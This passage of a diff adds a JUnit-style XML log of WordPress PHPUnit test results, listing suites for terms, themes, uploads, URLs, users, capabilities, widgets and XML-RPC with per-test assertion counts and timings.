+      <testcase name="test_object_term_cache" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="182" assertions="6" time="0.067089"/>
+      <testcase name="test_change_object_terms_by_id" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="208" assertions="8" time="0.064531"/>
+      <testcase name="test_get_object_terms_by_slug" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="252" assertions="2" time="0.052235"/>
+      <testcase name="test_set_object_terms_invalid" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="267" assertions="1" time="0.030188"/>
+      <testcase name="test_wp_add_remove_object_terms" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="278" assertions="19" time="0.213927"/>
+      <testcase name="test_term_is_ancestor_of" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="304" assertions="6" time="0.041287"/>
+      <testcase name="test_wp_insert_delete_category" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="323" assertions="11" time="0.031754"/>
+      <testcase name="test_wp_unique_term_slug" class="Tests_Term" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term.php" line="346" assertions="13" time="0.076568"/>
+    </testsuite>
+    <testsuite name="Tests_Term_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term/getTerms.php" fullPackage="Tests.Term" tests="1" assertions="20" failures="0" errors="0" time="0.357627">
+      <testcase name="test_get_terms_cache" class="Tests_Term_getTerms" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term/getTerms.php" line="16" assertions="20" time="0.357627"/>
+    </testsuite>
+    <testsuite name="Tests_Term_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term/slashes.php" fullPackage="Tests.Term" tests="2" assertions="24" failures="0" errors="0" time="0.299334">
+      <testcase name="test_wp_insert_term" class="Tests_Term_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term/slashes.php" line="33" assertions="12" time="0.148023"/>
+      <testcase name="test_wp_update_term" class="Tests_Term_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/term/slashes.php" line="81" assertions="12" time="0.151311"/>
+    </testsuite>
+    <testsuite name="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" fullPackage="Tests" tests="9" assertions="898" failures="0" errors="0" time="0.309466">
+      <testcase name="test_wp_get_themes_default" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="27" assertions="4" time="0.018143"/>
+      <testcase name="test_get_themes_default" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="37" assertions="5" time="0.015216"/>
+      <testcase name="test_get_theme" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="47" assertions="15" time="0.015070"/>
+      <testcase name="test_wp_get_theme" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="58" assertions="20" time="0.024172"/>
+      <testcase name="test_get_themes_contents" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="70" assertions="455" time="0.036550"/>
+      <testcase name="test_wp_get_theme_contents" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="135" assertions="13" time="0.016111"/>
+      <testcase name="test_extra_theme_headers" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="158" assertions="6" time="0.015563"/>
+      <testcase name="test_switch_theme" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="174" assertions="375" time="0.152126"/>
+      <testcase name="test_switch_theme_bogus" class="Tests_Theme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme.php" line="248" assertions="5" time="0.016515"/>
+    </testsuite>
+    <testsuite name="Tests_Theme_WPTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/WPTheme.php" fullPackage="Tests.Theme" tests="4" assertions="37" failures="0" errors="0" time="0.067509">
+      <testcase name="test_new_WP_Theme_top_level" class="Tests_Theme_WPTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/WPTheme.php" line="35" assertions="11" time="0.019756"/>
+      <testcase name="test_new_WP_Theme_subdir" class="Tests_Theme_WPTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/WPTheme.php" line="54" assertions="11" time="0.014554"/>
+      <testcase name="test_new_WP_Theme_subdir_bad_root" class="Tests_Theme_WPTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/WPTheme.php" line="76" assertions="11" time="0.015611"/>
+      <testcase name="test_wp_theme_uris_with_spaces" class="Tests_Theme_WPTheme" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/WPTheme.php" line="99" assertions="4" time="0.017588"/>
+    </testsuite>
+    <testsuite name="Tests_Theme_Support" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/support.php" fullPackage="Tests.Theme" tests="4" assertions="22" failures="0" errors="0" time="0.008149">
+      <testcase name="test_the_basics" class="Tests_Theme_Support" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/support.php" line="8" assertions="3" time="0.002014"/>
+      <testcase name="test_admin_bar" class="Tests_Theme_Support" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/support.php" line="17" assertions="7" time="0.002329"/>
+      <testcase name="test_post_thumbnails" class="Tests_Theme_Support" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/support.php" line="37" assertions="7" time="0.001700"/>
+      <testcase name="test_plugin_hook" class="Tests_Theme_Support" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/support.php" line="87" assertions="5" time="0.002106"/>
+    </testsuite>
+    <testsuite name="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" fullPackage="Tests.Theme" tests="9" assertions="74" failures="0" errors="0" time="0.209697">
+      <testcase name="test_theme_default" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="41" assertions="16" time="0.027855"/>
+      <testcase name="test_theme_sandbox" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="68" assertions="15" time="0.023283"/>
+      <testcase name="test_theme_stylesheet_only" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="95" assertions="15" time="0.025193"/>
+      <testcase name="test_theme_list" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="122" assertions="1" time="0.020426"/>
+      <testcase name="test_broken_themes" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="149" assertions="1" time="0.021326"/>
+      <testcase name="test_wp_get_theme_with_non_default_theme_root" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="156" assertions="2" time="0.027908"/>
+      <testcase name="test_page_templates" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="161" assertions="2" time="0.021689"/>
+      <testcase name="test_get_theme_data_top_level" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="171" assertions="11" time="0.019266"/>
+      <testcase name="test_get_theme_data_subdir" class="Tests_Theme_ThemeDir" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDir.php" line="187" assertions="11" time="0.022751"/>
+    </testsuite>
+    <testsuite name="Tests_Theme_ThemeDirLarge" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDirLarge.php" fullPackage="Tests.Theme" tests="2" assertions="12" failures="0" errors="0" time="0.188767">
+      <testcase name="test_theme_list" class="Tests_Theme_ThemeDirLarge" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDirLarge.php" line="41" assertions="9" time="0.108824"/>
+      <testcase name="test_smaller_storage" class="Tests_Theme_ThemeDirLarge" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/theme/themeDirLarge.php" line="63" assertions="3" time="0.079943"/>
+    </testsuite>
+    <testsuite name="Tests_Upload" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/upload.php" fullPackage="Tests" tests="5" assertions="20" failures="0" errors="0" time="0.026795">
+      <testcase name="test_upload_dir_default" class="Tests_Upload" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/upload.php" line="34" assertions="4" time="0.004788"/>
+      <testcase name="test_upload_dir_relative" class="Tests_Upload" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/upload.php" line="43" assertions="4" time="0.006335"/>
+      <testcase name="test_upload_dir_no_yearnum" class="Tests_Upload" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/upload.php" line="69" assertions="4" time="0.005237"/>
+      <testcase name="test_upload_path_absolute" class="Tests_Upload" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/upload.php" line="78" assertions="4" time="0.005872"/>
+      <testcase name="test_upload_dir_empty" class="Tests_Upload" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/upload.php" line="87" assertions="4" time="0.004563"/>
+    </testsuite>
+    <testsuite name="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" fullPackage="Tests" tests="11" assertions="165" failures="0" errors="0" time="1.112740">
+      <testcase name="test_is_ssl_positive" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="16" assertions="4" time="0.002145"/>
+      <testcase name="test_is_ssl_negative" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="31" assertions="3" time="0.001936"/>
+      <testcase name="test_admin_url_valid" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="42" assertions="14" time="0.005503"/>
+      <testcase name="test_admin_url_invalid" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="66" assertions="8" time="0.004333"/>
+      <testcase name="test_home_url_valid" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="87" assertions="14" time="0.005559"/>
+      <testcase name="test_home_url_invalid" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="111" assertions="8" time="0.004541"/>
+      <testcase name="test_home_url_from_admin" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="132" assertions="9" time="0.019908"/>
+      <testcase name="test_network_home_url_from_admin" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="181" assertions="5" time="0.004847"/>
+      <testcase name="test_set_url_scheme" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="206" assertions="68" time="0.005030"/>
+      <testcase name="test_get_adjacent_post" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="278" assertions="6" time="1.044439"/>
+      <testcase name="test_url_functions_for_dots_in_paths" class="Tests_URL" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/url.php" line="313" assertions="26" time="0.014499"/>
+    </testsuite>
+    <testsuite name="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" fullPackage="Tests" tests="24" assertions="156" failures="0" errors="0" time="1.694175">
+      <testcase name="test_get_users_of_blog" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="28" assertions="1" time="0.208035"/>
+      <testcase name="test_user_option" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="52" assertions="3" time="0.046301"/>
+      <testcase name="test_usermeta" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="73" assertions="6" time="0.050094"/>
+      <testcase name="test_usermeta_array" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="108" assertions="7" time="0.046756"/>
+      <testcase name="test_user_properties" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="146" assertions="21" time="0.046173"/>
+      <testcase name="test_user_meta_properties" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="199" assertions="2" time="0.044483"/>
+      <testcase name="test_id_property_back_compat" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="212" assertions="3" time="0.043239"/>
+      <testcase name="test_user_level_property_back_compat" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="227" assertions="10" time="0.241560"/>
+      <testcase name="test_construction" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="245" assertions="21" time="0.046435"/>
+      <testcase name="test_get" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="286" assertions="5" time="0.045998"/>
+      <testcase name="test_has_prop" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="304" assertions="4" time="0.056935"/>
+      <testcase name="test_update_user" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="321" assertions="15" time="0.104200"/>
+      <testcase name="test_get_blogs_of_user" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="374" assertions="3" time="0.058892"/>
+      <testcase name="test_is_user_member_of_blog" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="395" assertions="7" time="0.061875"/>
+      <testcase name="test_global_userdata" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="420" assertions="4" time="0.044608"/>
+      <testcase name="test_global_userdata_is_null_when_logged_out" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="437" assertions="1" time="0.002742"/>
+      <testcase name="test_exists" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="443" assertions="3" time="0.044074"/>
+      <testcase name="test_global_authordata" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="458" assertions="4" time="0.054827"/>
+      <testcase name="test_delete_user" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="488" assertions="13" time="0.134692"/>
+      <testcase name="test_get_userdata" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="545" assertions="4" time="0.002510"/>
+      <testcase name="test_user_get_data_by_id" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="552" assertions="9" time="0.049682"/>
+      <testcase name="test_wp_delete_user_reassignment_clears_post_caches" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="585" assertions="1" time="0.118343"/>
+      <testcase name="test_count_many_users_posts" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="601" assertions="8" time="0.136940"/>
+      <testcase name="test_wp_update_user_on_nonexistent_users" class="Tests_User" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user.php" line="630" assertions="1" time="0.004781"/>
+    </testsuite>
+    <testsuite name="Tests_User_Author" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/author.php" fullPackage="Tests.User" tests="3" assertions="17" failures="0" errors="0" time="0.173525">
+      <testcase name="test_get_the_author" class="Tests_User_Author" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/author.php" line="43" assertions="2" time="0.056958"/>
+      <testcase name="test_get_the_author_meta" class="Tests_User_Author" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/author.php" line="51" assertions="12" time="0.060611"/>
+      <testcase name="test_get_the_author_meta_no_authordata" class="Tests_User_Author" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/author.php" line="72" assertions="3" time="0.055956"/>
+    </testsuite>
+    <testsuite name="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" fullPackage="Tests.User" tests="21" assertions="212" failures="0" errors="0" time="1.635757">
+      <testcase name="test_user_administrator" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="43" assertions="6" time="0.047577"/>
+      <testcase name="test_user_editor" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="58" assertions="9" time="0.042308"/>
+      <testcase name="test_user_author" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="78" assertions="9" time="0.045658"/>
+      <testcase name="test_user_contributor" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="98" assertions="9" time="0.044245"/>
+      <testcase name="test_user_subscriber" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="118" assertions="7" time="0.052139"/>
+      <testcase name="test_bogus_role" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="137" assertions="3" time="0.047296"/>
+      <testcase name="test_user_subscriber_contributor" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="150" assertions="10" time="0.052003"/>
+      <testcase name="test_add_empty_role" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="176" assertions="8" time="0.050021"/>
+      <testcase name="test_add_role" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="205" assertions="14" time="0.050180"/>
+      <testcase name="test_role_add_cap" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="241" assertions="11" time="0.048098"/>
+      <testcase name="test_role_remove_cap" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="279" assertions="8" time="0.054072"/>
+      <testcase name="test_user_add_cap" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="314" assertions="14" time="0.087102"/>
+      <testcase name="test_user_remove_cap" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="351" assertions="7" time="0.093422"/>
+      <testcase name="test_user_level_update" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="382" assertions="6" time="0.056582"/>
+      <testcase name="test_user_remove_all_caps" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="407" assertions="8" time="0.051545"/>
+      <testcase name="test_post_meta_caps" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="447" assertions="35" time="0.244557"/>
+      <testcase name="test_create_posts_caps" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="530" assertions="29" time="0.215004"/>
+      <testcase name="test_page_meta_caps" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="592" assertions="11" time="0.216192"/>
+      <testcase name="test_negative_caps" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="630" assertions="2" time="0.047549"/>
+      <testcase name="test_set_role_same_role" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="641" assertions="3" time="0.045754"/>
+      <testcase name="test_current_user_can_for_blog" class="Tests_User_Capabilities" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/capabilities.php" line="650" assertions="3" time="0.044453"/>
+    </testsuite>
+    <testsuite name="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" fullPackage="Tests.User" tests="8" assertions="44" failures="0" errors="0" time="0.757125">
+      <testcase name="test_capability_type_post_with_no_extra_caps" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="41" assertions="7" time="0.102209"/>
+      <testcase name="test_custom_capability_type_with_map_meta_cap" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="66" assertions="6" time="0.087505"/>
+      <testcase name="test_capability_type_post_with_one_renamed_cap" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="90" assertions="7" time="0.086753"/>
+      <testcase name="test_capability_type_post_map_meta_cap_true_with_renamed_cap" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="116" assertions="7" time="0.094741"/>
+      <testcase name="test_capability_type_post_with_all_meta_caps_renamed" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="146" assertions="7" time="0.104092"/>
+      <testcase name="test_capability_type_post_with_all_meta_caps_renamed_mapped" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="176" assertions="7" time="0.105658"/>
+      <testcase name="test_unfiltered_html_cap" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="207" assertions="1" time="0.088051"/>
+      <testcase name="test_file_edit_caps_not_reliant_on_unfiltered_html_constant" class="Tests_User_MapMetaCap" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/mapMetaCap.php" line="221" assertions="2" time="0.088116"/>
+    </testsuite>
+    <testsuite name="Tests_User_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/query.php" fullPackage="Tests.User" tests="4" assertions="35" failures="0" errors="0" time="0.583934">
+      <testcase name="test_get_and_set" class="Tests_User_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/query.php" line="19" assertions="7" time="0.039975"/>
+      <testcase name="test_include" class="Tests_User_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/query.php" line="37" assertions="1" time="0.042947"/>
+      <testcase name="test_exclude" class="Tests_User_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/query.php" line="49" assertions="1" time="0.041581"/>
+      <testcase name="test_get_all" class="Tests_User_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/query.php" line="60" assertions="26" time="0.459431"/>
+    </testsuite>
+    <testsuite name="Tests_User_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/slashes.php" fullPackage="Tests.User" tests="4" assertions="40" failures="0" errors="0" time="0.527536">
+      <testcase name="test_add_user" class="Tests_User_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/slashes.php" line="35" assertions="10" time="0.139391"/>
+      <testcase name="test_edit_user" class="Tests_User_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/slashes.php" line="85" assertions="10" time="0.136229"/>
+      <testcase name="test_wp_insert_user" class="Tests_User_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/slashes.php" line="131" assertions="10" time="0.137987"/>
+      <testcase name="test_wp_update_user" class="Tests_User_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/user/slashes.php" line="173" assertions="10" time="0.113929"/>
+    </testsuite>
+    <testsuite name="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" fullPackage="Tests" tests="6" assertions="6" failures="0" errors="0" time="0.013530">
+      <testcase name="test_register_widget_core_widget" class="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" line="10" assertions="1" time="0.002387"/>
+      <testcase name="test_unregister_widget_core_widget" class="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" line="21" assertions="1" time="0.001658"/>
+      <testcase name="test_register_sidebars_single" class="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" line="31" assertions="1" time="0.002211"/>
+      <testcase name="test_register_sidebars_multiple" class="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" line="41" assertions="1" time="0.002439"/>
+      <testcase name="test_register_sidebar" class="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" line="59" assertions="1" time="0.002407"/>
+      <testcase name="test_unregister_sidebar" class="Tests_Widgets" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/widgets.php" line="69" assertions="1" time="0.002428"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/basic.php" fullPackage="Tests.XMLRPC" tests="2" assertions="6" failures="0" errors="0" time="0.082947">
+      <testcase name="test_enabled" class="Tests_XMLRPC_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/basic.php" line="11" assertions="2" time="0.005837"/>
+      <testcase name="test_login_pass_ok" class="Tests_XMLRPC_Basic" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/basic.php" line="19" assertions="4" time="0.077110"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_mt_getRecentPostTitles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mt/getRecentPostTitles.php" fullPackage="Tests.XMLRPC.mt" tests="4" assertions="7" failures="0" errors="0" time="0.273798">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_mt_getRecentPostTitles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mt/getRecentPostTitles.php" line="8" assertions="2" time="0.005268"/>
+      <testcase name="test_no_posts" class="Tests_XMLRPC_mt_getRecentPostTitles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mt/getRecentPostTitles.php" line="14" assertions="2" time="0.059611"/>
+      <testcase name="test_no_editable_posts" class="Tests_XMLRPC_mt_getRecentPostTitles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mt/getRecentPostTitles.php" line="22" assertions="2" time="0.128496"/>
+      <testcase name="test_date" class="Tests_XMLRPC_mt_getRecentPostTitles" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mt/getRecentPostTitles.php" line="32" assertions="1" time="0.080423"/>
+    </testsuite>
+    <testsuite name="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" fullPackage="Tests.XMLRPC.mw" tests="9" assertions="41" failures="0" errors="0" time="1.223612">
+      <testcase name="test_invalid_username_password" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="8" assertions="2" time="0.005642"/>
+      <testcase name="test_edit_own_post" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="15" assertions="3" time="0.096282"/>
+      <testcase name="test_capable_edit_others_post" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="30" assertions="3" time="0.150907"/>
+      <testcase name="test_incapable_edit_others_post" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="47" assertions="3" time="0.113272"/>
+      <testcase name="test_capable_reassign_author" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="65" assertions="3" time="0.195455"/>
+      <testcase name="test_incapable_reassign_author" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="82" assertions="3" time="0.125139"/>
+      <testcase name="test_post_thumbnail" class="Tests_XMLRPC_mw_editPost" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/xmlrpc/mw/editPost.php" line="98" assertions="10" time="0.232468"/>
